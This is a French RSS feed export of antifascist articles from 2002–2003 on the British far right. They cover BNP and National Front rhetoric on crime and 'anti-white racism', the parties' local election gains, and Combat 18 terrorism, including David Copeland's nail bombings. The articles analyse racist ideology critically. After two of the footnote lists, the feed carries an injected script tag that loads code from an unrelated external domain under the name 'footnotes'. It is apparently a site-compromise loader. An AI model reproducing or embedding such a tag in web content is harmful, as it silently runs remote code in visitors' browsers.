- le BNP propose le renforcement du pouvoir des juges, de celui de la police, mesures somme toute assez classiques. Un peu moins classique, les points qu&rsquo;ils y ajoutent : abandon du politiquement correct (ce qui en d&rsquo;autres termes signifie l&rsquo;établissement d&rsquo;un régime de discrimination raciale<sup><a href="https://reflexes.samizdat.net/crimes-lave-plus-blanc/#footnote_1_241" id="identifier_1_241" class="footnote-link footnote-identifier-link" title="Critiquant le Race Act, Nick Griffin a fustig&eacute; par le pass&eacute; le fait qu&rsquo; &laquo;&nbsp;aucune relation ne puisse &ecirc;tre d&eacute;nonc&eacute;e entre crimes sexuels et minorit&eacute;s ethniques&nbsp;&raquo;.">2</a></sup> ) et augmentation des policiers sur le terrain « et non à remplir de la paperasse ou à prendre des cours de “ racism awareness ” »<sup><a href="https://reflexes.samizdat.net/crimes-lave-plus-blanc/#footnote_2_241" id="identifier_2_241" class="footnote-link footnote-identifier-link" title="Source : BNP website">3</a></sup>.<br />
- les deux partis se font les ardents défenseurs des victimes contre les criminels.<br />
Mais, la criminalité en soi n&rsquo;est que la face émergée de l&rsquo;iceberg : la véritable menace pour le Royaume-Uni, c&rsquo;est, accrochez-vous bien, le « britocide ».</p>
<h3>Les ennemis à combattre</h3>
<p>En effet, la décadence et les invasions barbares menacent le peuple britannique. Quel pourrait donc être l&rsquo;avenir d&rsquo;une nation dont l&rsquo;enseignement est gangrené par des professeurs « ultra-libéraux » (dans le sens social et non économique) et pro-homosexuels, sans compter que la télévision, en particulier Channel 4, propose des émissions « pro-homosexuels, anti-famille, et anti-blancs »<sup><a href="https://reflexes.samizdat.net/crimes-lave-plus-blanc/#footnote_3_241" id="identifier_3_241" class="footnote-link footnote-identifier-link" title="The Flame, journal du National Front, mars 2002">4</a></sup> ? On arrive ici à la principale cause de l&rsquo;insécurité : la société « multiraciale ». La lutte contre l&rsquo;insécurité passe donc par l&rsquo;immigration zéro et le retour des immigrés « chez eux », ce qui n&rsquo;est pas sans rappeler un discours bien connu. Le thème du racisme anti-blanc dans le discours sur l&rsquo;insécurité est d&rsquo;ailleurs une quasi-obsession La majeure partie du site internet du National Front est ainsi consacrée à des témoignages et à un recensement des victimes de « crimes racistes » anti-blancs, notamment au travers de la Fallen List<sup><a href="https://reflexes.samizdat.net/crimes-lave-plus-blanc/#footnote_4_241" id="identifier_4_241" class="footnote-link footnote-identifier-link" title="Le nom donn&eacute; &agrave; la liste veut sugg&eacute;rer qu&rsquo;une v&eacute;ritable guerre raciale a lieu.">5</a></sup>. Le caractère raciste ne découle que d&rsquo;un seul critère : la victime est blanche, le coupable ne l&rsquo;est pas, quitte à tomber dans le ridicule le plus total. On découvre ainsi qu&rsquo;un homme d&rsquo;origine pakistanaise, condamné pour « conduite dangereuse », est coupable d&rsquo;un crime raciste car la victime était blanche. Le BNP, quant à lui, a mis en place une association de soutien aux victimes de discriminations et de crimes « anti-blancs », le FAIR (Families Against Immigrant Racism), qui propose une aide juridique. C&rsquo;est ainsi une posture de défense qui est adoptée, dans un renversement des positions, qui n&rsquo;est pas sans rappeler le racisme « anti-français » auquel Jean-Marie Le Pen se réfère. Or se placer en victime présente un avantage inestimable : « dans le mode courant de raisonnement, une victime est innocente et donc “ morale ”.<sup><a href="https://reflexes.samizdat.net/crimes-lave-plus-blanc/#footnote_5_241" id="identifier_5_241" class="footnote-link footnote-identifier-link" title="Loseke Donileen, Constructing conditions, people, morality and emotion, G. Miller.">6</a></sup> » , on ne peut donc remettre son jugement en question, eu égard à ce qu&rsquo;elle subit. Ainsi, poser le « Noir » ou le « Pakistanais » comme un criminel ne constitue plus de problème, car il est coupable, il est bourreau et non plus une victime injustement accusée. Placer le « racisme anti-blanc » comme base de l&rsquo;argumentation permet de justifier l&rsquo;emploi des stéréotypes habituels de la xénophobie et du racisme, de barrer la route à un contre-argumentaire basé sur l&rsquo;emploi de préjugés. En effet, les actes de discrimination et les crimes commis envers les « Blancs » permettent de transformer les préjugés en vérité, en réalité observable et démontrable. Le discours raciste nourrit celui sur l&rsquo;insécurité et inversement.<br />
De même, les événements du 11 septembre ont fait émerger sur le devant de la scène un anti-islamisme virulent, qu&rsquo;il paraissait facile à justifier. Le site du NF s&rsquo;ouvrait ainsi sur une photo de Tony Blair portant un keffieh, tandis que le BNP a fait de l&rsquo;anti-islamisme le point d&rsquo;ancrage d&rsquo;une de ses campagnes. Certes, pour le BNP, il existe de « bons musulmans » qu&rsquo;il ne faut pas blâmer pour les crimes des intégristes. Reste que l&rsquo;Islam est devenu un ennemi, cherchant à dominer l&rsquo;occident, par une stratégie de colonisation, dans une logique qui rappelle le thème du « complot juif ». Il ne s&rsquo;agit plus en effet de présenter l&rsquo;autre comme « inférieur » mais comme un ennemi qui s&rsquo;infiltre partout et pourrait nous dominer<sup><a href="https://reflexes.samizdat.net/crimes-lave-plus-blanc/#footnote_6_241" id="identifier_6_241" class="footnote-link footnote-identifier-link" title="Campagne contre l&rsquo;Islam, site du BNP.">7</a></sup>. Et quoi de plus pratique que la menace terroriste pour jouer sur la peur des Britanniques ?</p>
<p>Ce discours, prenant ses racines dans la peur de l&rsquo;autre, se développe, c&rsquo;est un fait. Mais il ne faudrait pas non plus en exagérer l&rsquo;importance, le National Front compte à peine 300 adhérents. Quant au British National Party, il est certes en forte progression mais ces résultats restent inexistants au niveau national, pour le moment.</p>
<p><strong>Encadré</strong><br />
Le BNP : celui qui voulait être le FN anglais ?<br />
Le BNP est né en 1982, d&rsquo;une scission avec le National Front. Pour le National Front, le déclin, déjà bien entamé avec l&rsquo;offensive conservatrice, se poursuit. Le destin du BNP est légèrement différent, et si ses résultats restent faibles, il peut s&rsquo;arroger sans contexte le titre de plus grand parti d&rsquo;extrême droite que le Royaume Uni ait pu avoir. Dès le début, la volonté de son leader John Tyndall est de privilégier la voie parlementaire. Cependant, c&rsquo;est loin d&rsquo;être un fait acquis. Certes, en 1993, le parti enregistre son premier succès électoral avec l&rsquo;élection d&rsquo;un conseiller municipal à Millwall. Mais, à la même époque, le parti développe aussi un sympathique service d&rsquo;ordre, qui devint autonome par la suite pour devenir Combat 18, groupe néo-nazi à tendance plutôt violente ;mais surtout, le parti conserve un discours ouvertement fasciste. Le véritable changement apparaît cependant en 2000. Tyndall est alors évincé de la tête du parti, après la diffusion de photos de celui-ci en uniforme nazi, ce qui rappelle le passé de l&rsquo;homme au Greater Britain Movement, un groupuscule peu recommandable. Le BNP comprend enfin l&rsquo;importance de l&rsquo;image. Pourtant, on ne peut pas dire que l&rsquo;homme qui le remplace, Nick Griffin ait eu de meilleures fréquentations dans sa jeunesse. Il aurait notamment aidé Fiore, membre de la Troisième Position recherché pour « constitution de bandes armées », qui avait fui l&rsquo;Italie après l&rsquo;attentat de Bologne. Mais, il cherche à donner au parti une apparence très respectable. Il reconnaît devant les Amis américains du BNP, une association dirigée par David Duke , que le slogan du parti (Liberté, Sécurité, Identité, Démocratie) vise ainsi à rendre celui-ci plus sellable (facile à vendre). Le changement, net, apporte des résultats, avec en prime plusieurs sièges de conseillers municipaux ; notons tout de même qu&rsquo;il est difficile d&rsquo;attribuer ces bons scores au seul gommage des références nazies ou fascistes trop flagrantes, l&rsquo;implication du parti dans le déclenchement d&rsquo;émeutes « raciales » n&rsquo;y étant peut être pas non plus étrangère. Et puis, chassez le naturel, il revient au galop. Le parti est actuellement secoué par une affaire d&rsquo;importance : un membre est en passe d&rsquo;être exclu car son petit-fils est noir.</p>
<ol class="footnotes"><li id="footnote_0_241" class="footnote">Le châtiment corporel à l&rsquo;école n&rsquo;a été aboli qu&rsquo;en 1986 en Grande-Bretagne. Cela n&rsquo;a été étendu aux établissements privés qu&rsquo;en 1998 sur décision de la Haute Cour de Justice.</li><li id="footnote_1_241" class="footnote">Critiquant le Race Act, Nick Griffin a fustigé par le passé le fait qu&rsquo; &laquo;&nbsp;aucune relation ne puisse être dénoncée entre crimes sexuels et minorités ethniques&nbsp;&raquo;.</li><li id="footnote_2_241" class="footnote">Source : BNP website</li><li id="footnote_3_241" class="footnote">The Flame, journal du National Front, mars 2002</li><li id="footnote_4_241" class="footnote">Le nom donné à la liste veut suggérer qu&rsquo;une véritable guerre raciale a lieu.</li><li id="footnote_5_241" class="footnote">Loseke Donileen, Constructing conditions, people, morality and emotion, G. Miller.</li><li id="footnote_6_241" class="footnote">Campagne contre l&rsquo;Islam, site du BNP.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>L&#8217;extrême droite britannique poursuit son avancée</title>
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		<pubDate>Sun, 18 May 2003 17:27:47 +0000</pubDate>
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		<description><![CDATA[Le 1er mai les anglais votaient pour l&#8217;équivalent des municipales. A cette occasion, trois partis d&#8217;extrême droite ont présenté des candidats : le Freedom Party, le National Front et le British National Party. Le Freedom Party est en fait principalement composé d&#8217;anciens membres du BNP et du Monday Club (groupe de réflexions à la droite [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Le 1er mai les anglais votaient pour l&rsquo;équivalent des municipales. A cette occasion, trois partis d&rsquo;extrême droite ont présenté des candidats : le Freedom Party, le National Front et le British National Party. Le Freedom Party est en fait principalement composé d&rsquo;anciens membres du BNP et du Monday Club (groupe de réflexions à la droite du parti conservateur). En 2001, ses adhérents étaient estimé à une trentaine, ils ont présenté 4 candidats cette année. Le National Front, historiquement le plus important mouvement fasciste, qui comporte une centaine d&rsquo;adhérents en a présenté 10. Le BNP, qui a pu ces dernières années se présenter comme «le parti d&rsquo;extrême droite», a, quant à lui, réussi à présenter 221 candidats (pour vous donner un ordre d&rsquo;idée, l&rsquo;année dernière les trois partis confondus avaient présenté 70 candidats). Seul le BNP est parvenu à s&rsquo;imposer, en remportant 13 sièges. Il est même devenu la seconde force politique à Burnley, ville qui a été le théâtre des «émeutes raciales» en 2001 (celles-là mêmes auxquelles les fachos ont fortement contribué). Certes, il serait tentant de relativiser ces résultats, il ne s&rsquo;agit après tout que de 13 sièges sur l&rsquo;ensemble des places de «conseillers municipaux», ce n&rsquo;est pas énorme. Mais, reste que le parti est en constante progression et surtout il ne faut pas oublier que les élections se font par un scrutin uninominal à un tour. Ce qui signifie que chacun des élus est arrivé premier dans son «quartier», mais aussi que même s&rsquo;il n&rsquo;a pas obtenu de sièges le parti, dans plusieurs «aires», a pu obtenir plus de 20% des voix. Ce qui est d&rsquo;autant plus inquiétant que le parti a pour slogan «Rights for Whites».</p>
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		<title>L&#8217;extrême droite britannique poursuit sa progression</title>
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		<pubDate>Tue, 04 Feb 2003 10:26:14 +0000</pubDate>
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		<description><![CDATA[Nouvelles d&#8217;outre manche L&#8217;extrême droite britannique poursuit sa progression. En décembre dernier, lors d&#8217;une élection municipale partielle dans la ville d&#8217;Halifax, le British National Party a acquis un cinquième conseiller. Adrian Marsden, hooligan notoire et responsable dans le groupe néo-nazi Combat 18, s&#8217;est ainsi imposé face aux candidats Liberal Democrats et travaillistes. Le parti conservateur [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Nouvelles d&rsquo;outre manche</p>
<p>L&rsquo;extrême droite britannique poursuit sa progression. En décembre dernier, lors d&rsquo;une élection municipale partielle dans la ville d&rsquo;Halifax, le British National Party a acquis un cinquième conseiller. Adrian Marsden, hooligan notoire et responsable dans le groupe néo-nazi Combat 18, s&rsquo;est ainsi imposé face aux candidats Liberal Democrats et travaillistes.</p>
<p>Le parti conservateur s&rsquo;est lui effondré, un déclin qui a fortement bénéficié au BNP. La campagne du parti s&rsquo;est avant tout basé sur les questions de l&rsquo;asile et du racisme anti-blanc, auxquels s&rsquo;ajoutaient une vive critique de l&rsquo;augmentation de 43% de leurs salaires que les conseillers s&rsquo;étaient accordés récemment.</p>
<p>A ces éléments classiques se sont ajoutés l&rsquo;emploi de méthodes beaucoup moins orthodoxes, qui avaient déjà fortement contribué à leur succès un mois auparavant dans la ville de Burnley : faux tracts liberal democrats, mensonges et intimidation. Ainsi, les photos des antifascistes ont été mis en ligne sur le site de Combat 18 et quand on sait le nombre d&rsquo;illuminés prêts à en découdre avec un « gaucho » isolé qu&rsquo;y traînent sur ce site, ça n&rsquo;est pas forcément rassurant.</p>
<p>Mais, surtout ce résultat n&rsquo;augure rien de bon pour les élections à venir en mai, auxquelles le BNP prévoit de présenter plus de 200 candidats, un record pour le parti.</p>
<p>D&rsquo;après Nick Lowles pour Searchlight.</p>
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		<title>C18, ça suffit… Abattez le troupeau !</title>
		<link>https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/</link>
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		<pubDate>Tue, 23 Apr 2002 15:58:44 +0000</pubDate>
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		<category><![CDATA[Hervé Guttuso]]></category>
		<category><![CDATA[terrorisme]]></category>

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		<description><![CDATA[Apparue en 1991, l’organisation Combat 18 (C18) a longtemps rassemblé, à la marge de l’extrême droite parlementaire, les néo-nazis britanniques à vocation terroriste. Depuis que C18 est en perte de vitesse, la scène néo-nazie a certes perdu en terme d’organisation, mais pas en potentiel de violence comme l’ont montré les attentats meurtriers commis à Londres en 1999.]]></description>
				<content:encoded><![CDATA[<p>Apparue en 1991, l’organisation Combat 18 (C18) a longtemps rassemblé, à la marge de l’extrême droite parlementaire, les néo-nazis britanniques à vocation terroriste. Depuis que C18 est en perte de vitesse, la scène néo-nazie a certes perdu en terme d’organisation, mais pas en potentiel de violence comme l’ont montré les attentats meurtriers commis à Londres en 1999.</p>
<p>Il y a presque deux ans, un homme de 22 ans a posé trois bombes remplies de clous à Londres, faisant ainsi trois morts et plus d’une centaine de blessés. En choisissant comme cibles les communautés noire, indienne et homosexuelle, David Copeland espérait déclencher une guerre raciale en Grande-Bretagne. L’été dernier, il a été condamné pour ces trois attentats à la bombe à six fois la peine à perpétuité.</p>
<p>Copeland est un néo-nazi inspiré par la théorie de la guerre raciale. Il a été élevé dans une famille et dans un environnement où le racisme était banal, il a rejoint le British National Party (BNP)<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_0_10" id="identifier_0_10" class="footnote-link footnote-identifier-link" title=" Parti national britannique.">1</a></sup> à l’été 1997 mais s’est vite lassé de leur stratégie trop modérée à son goût. Finalement, il a rejoint le National Socialist Movement (NSM)<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_1_10" id="identifier_1_10" class="footnote-link footnote-identifier-link" title=" Mouvement national-socialiste.">2</a></sup>, une scission du groupe Combat 18, dont l’un des militants-clés n’est autre qu’Hervé Guttuso<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_2_10" id="identifier_2_10" class="footnote-link footnote-identifier-link" title="Guttuso a fui la France parce qu&rsquo;il &eacute;tait poursuivi pour incitation &agrave; la haine raciale et risquait par cons&eacute;quent la prison ferme. En effet, &agrave; son retour des &Eacute;tats-Unis o&ugrave; il avait int&eacute;gr&eacute; les Hammerskins et d&rsquo;o&ugrave; il avait, sans succ&egrave;s, essay&eacute; de t&eacute;l&eacute;guider une section fran&ccedil;aise de cette organisation, il a finalement anim&eacute; cette branche fran&ccedil;aise des Hammerskins ainsi qu&rsquo;un fanzine, Terreur d&rsquo;&eacute;lite, pour lequel il a &eacute;t&eacute; poursuivi pour incitation &agrave; la haine raciale.">3</a></sup>, le chef des Charlemagne Hammerskins (CHS), qui vit en Angleterre depuis fin 1995. Copeland était donc membre du NSM lorsqu’il a posé ses bombes.</p>
<p>Et pourtant, il a agi seul, après avoir téléchargé le manuel de fabrication des bombes sur internet. Deux ans plus tôt, il avait essayé de fabriquer une bombe plus puissante au moment où il avait quitté le BNP, mais il n’y était pas parvenu. Il n’a pas non plus réussi à déclencher une guerre raciale en Angleterre comme il le souhaitait, mais ses attentats ont ébranlé toute la ville de Londres, créant un climat de peur et de panique dans de nombreux quartiers de la ville.</p>
<p>Cette série d’attentats racistes était la première en son genre en Grande-Bretagne. Il y avait certes déjà eu des attentats commis par des néo-nazis, mais il ne s’agissait généralement que d’incidents mineurs, qui ne visaient qu’un individu ou des bâtiments précis. Les attentats de 1999 étaient des attaques aveugles, qui visaient des pans entiers de la population.</p>
<p><strong>Les racines du terrorisme d’extrême droite</strong></p>
<p>Malheureusement, il fallait s’attendre à ce genre d’attaques terroristes d’extrême droite. Depuis le début des années 1990, les idées des théoriciens américains de la guerre raciale ont été peu à peu intégrées par l’extrême droite britannique. Combat 18 (C18), le groupe néo-nazi terroriste britannique, fut créé à l’initiative de Harold Covington, un néo-nazi installé aux États-Unis dont le livre intitulé A March Up Country est un véritable plan de campagne terroriste. Une publication de C18 était d’ailleurs intitulée The Order, du nom du groupe terroriste américain d’extrême droite éponyme. Dans l’un des numéros de ce journal, on pouvait lire un article de Louis Beam sur la leaderless resistance<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_3_10" id="identifier_3_10" class="footnote-link footnote-identifier-link" title="R&eacute;sistance sans chef.">4</a></sup>, un grand classique du terrorisme néo-nazi actuel. Les concepts de ZOG («Zionist Occupation Government») et de guerre raciale, importés des États-Unis par C18, sont maintenant monnaie courante au sein de l’ensemble de l’extrême droite britannique, y compris au sein du BNP.</p>
<p>En 1995, William Pierce, le chef d’un groupe néo-nazi américain extrêmement radical, la National Alliance, a assisté au congrès du BNP. Son livre, les Turner Diaries, est aujourd’hui considéré comme la bible de l’extrême droite britannique. David Copeland a d’ailleurs dit à la police que ce livre l’avait influencé et qu’il s’était efforcé de faire éclater la guerre raciale qui y est décrite.</p>
<p><strong>C18 et le terrorisme</strong></p>
<p>Depuis sa création en 1992, C18 a toujours été à l’avant-garde de ceux qui prêchent pour le terrorisme au sein de l’extrême droite britannique. En 1997, un petit groupe d’activistes de C18, dont son leader actuel, Will Browning, ont essayé d’organiser une campagne de lettres piégées à partir du Danemark. Trois sympathisants danois de C18 emmenés par Thomas Nakaba furent alors arrêtés et emprisonnés. Des querelles internes ont par ailleurs éclaté lorsque les camarades de Charlie Sargent, l’ancien leader de C18, ont appris que ce dernier informait la police sur les activités de C18. La participation à cette campagne terroriste ainsi que les querelles internes qui ont suivi les révélations faites à la police par Charlie Sargent ont mis le groupe en péril, qui est d’ailleurs passé de 500 membres en 1995 à 60 aujourd’hui.</p>
<p>Quoi qu’il en soit, C18 existe toujours et reste une menace. En automne 1998, ils ont tenté une nouvelle fois de lancer une vague d’attaques terroristes, cette fois-ci à partir de l’Allemagne. Récemment, ils ont essayé de prendre des contacts avec des groupes paramilitaires loyalistes d’Irlande du Nord, au départ avec la Loyalist Volunteer Force (UVF)<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_4_10" id="identifier_4_10" class="footnote-link footnote-identifier-link" title=" Force des Volontaires loyalistes.">5</a></sup> et plus récemment avec des sections de l’Ulster Defence Association (UDA)<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_5_10" id="identifier_5_10" class="footnote-link footnote-identifier-link" title=" Association de D&eacute;fense de l&rsquo;Ulster.">6</a></sup>. Un des sympathisants les plus tristement célèbres de C18 au sein de l’UDA est Steve Irwin, qui est récemment sorti de prison l’été dernier dans le cadre d’un plan de libération de prisonniers spécifique à l’Irlande du Nord : il avait été condamné à une peine de 7 ans de prison pour le meurtre de 6 catholiques, qu’il avait abattus dans un pub de Greysteel durant la nuit de Halloween après leur avoir crié : «Tricks or treats<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_6_10" id="identifier_6_10" class="footnote-link footnote-identifier-link" title="Ce que crient les enfants qui sonnent au porte des maisons la nuit de Halloween pour avoir des bonbons.">7</a></sup> !»</p>
<p>Plus inquiétant encore, C18 fait partie d’un réseau international relativement lache de fanatiques néo-nazis qui semblent prêts à passer au terrorisme.</p>
<p>En Scandinavie, C18 est lié à un certain nombre d’incidents terroristes où plusieurs personnes ont trouvé la mort ces dernières années.</p>
<p>En Allemagne, C18 est en contact avec un petit groupe de néo-nazis très violents qui gravitent autour de Torsten Heise.</p>
<p>On observe également le développement de groupes C18 en Slovaquie et en Serbie.</p>
<p><strong>Une nouvelle étape</strong></p>
<p>Les attentats de Londres ont montré que l’extrême droite britannique est entrée dans une nouvelle phase : en effet, alors que Copeland s’est impliqué dans de nombreuses organisations néo-nazies, il a perpétré ses attentats seul. Il n’est cependant pas le seul dans ce cas : deux semaines avant la première bombe de Copeland, un jeune homme de 19 ans, Stuart Kerr, avait posé une bombe dans un magasin asiatique dans le Sussex, avant d’incendier une voiture de police. Le jour où Copeland a posé une bombe à Brick Lane, la police a arrêté un homme de 57 ans, James Shaw, lors d’une intervention pour une bagarre dans un bus de Londres. En perquisitionnant son domicile, la police a trouvé de la propagande néo-nazie et trois bombes rudimentaires. Le jour où Copeland a posé sa troisième bombe dans Soho, la police a retrouvé le matériel nécessaire à la fabrication d’une bombe dans une voiture volée stationnée à Chesterfield, dans les East Midlands. Cela ne s’est produit que quelques jours après que les fachos ont averti qu’ils passeraient à l’attaque au moment du festival du 1er mai qui se tiendrait à Chesterfield.</p>
<p>Aucune organisation ne fait le lien entre ces différents incidents : ces derniers montrent simplement le succès que rencontre la théorie américaine de la guerre raciale auprès d’une certaine frange de l’extrême droite britannique qui ne se fait plus d’illusions sur le processus électoral. Ils sont également révélateurs de l’éclatement de la scène néo-nazie britannique depuis le déclin de C18. Tandis que le BNP attire les gens sur la voie électorale dans des proportions toujours plus grandes et tente, de ce fait, d’accéder à toujours plus de respectabilité, des individus isolés ainsi que de petits groupes agissent dans le vide politique qui en résulte, allant donc logiquement toujours plus loin dans leur positionnement à l’extrême droite.</p>
<p>Les attentats de Copeland ne constituent donc qu’un autre indice de l’internationalisation et de la normalisation croissantes de l’extrême droite. Les idées, tout comme les stratégies, sont de plus en plus fréquemment inspirées par des événements qui se produisent quelque part dans le monde ; et sur internet, des images, des encouragements peuvent arriver en quelques secondes de l’autre bout du monde.</p>
<p>Copeland avait certes de graves problèmes imputables à une enfance malheureuse et perturbée, qui l’ont rendu sensible à la propagande des groupes néo-nazis avec lesquels il est entré en contact, mais s’il a été le premier à choisir la voie du terrorisme raciste en Grande-Bretagne, il ne sera certainement pas le dernier, d’autant qu’il est devenu, à son tour, une source d’inspiration pour bien d’autres.</p>
<p>Nick Lowles pour Searchlight</p>
<ol class="footnotes"><li id="footnote_0_10" class="footnote"> Parti national britannique.</li><li id="footnote_1_10" class="footnote"> Mouvement national-socialiste.</li><li id="footnote_2_10" class="footnote">Guttuso a fui la France parce qu’il était poursuivi pour incitation à la haine raciale et risquait par conséquent la prison ferme. En effet, à son retour des États-Unis où il avait intégré les Hammerskins et d’où il avait, sans succès, essayé de téléguider une section française de cette organisation, il a finalement animé cette branche française des Hammerskins ainsi qu’un fanzine, Terreur d’élite, pour lequel il a été poursuivi pour incitation à la haine raciale.</li><li id="footnote_3_10" class="footnote">Résistance sans chef.</li><li id="footnote_4_10" class="footnote"> Force des Volontaires loyalistes.</li><li id="footnote_5_10" class="footnote"> Association de Défense de l’Ulster.</li><li id="footnote_6_10" class="footnote">Ce que crient les enfants qui sonnent au porte des maisons la nuit de Halloween pour avoir des bonbons.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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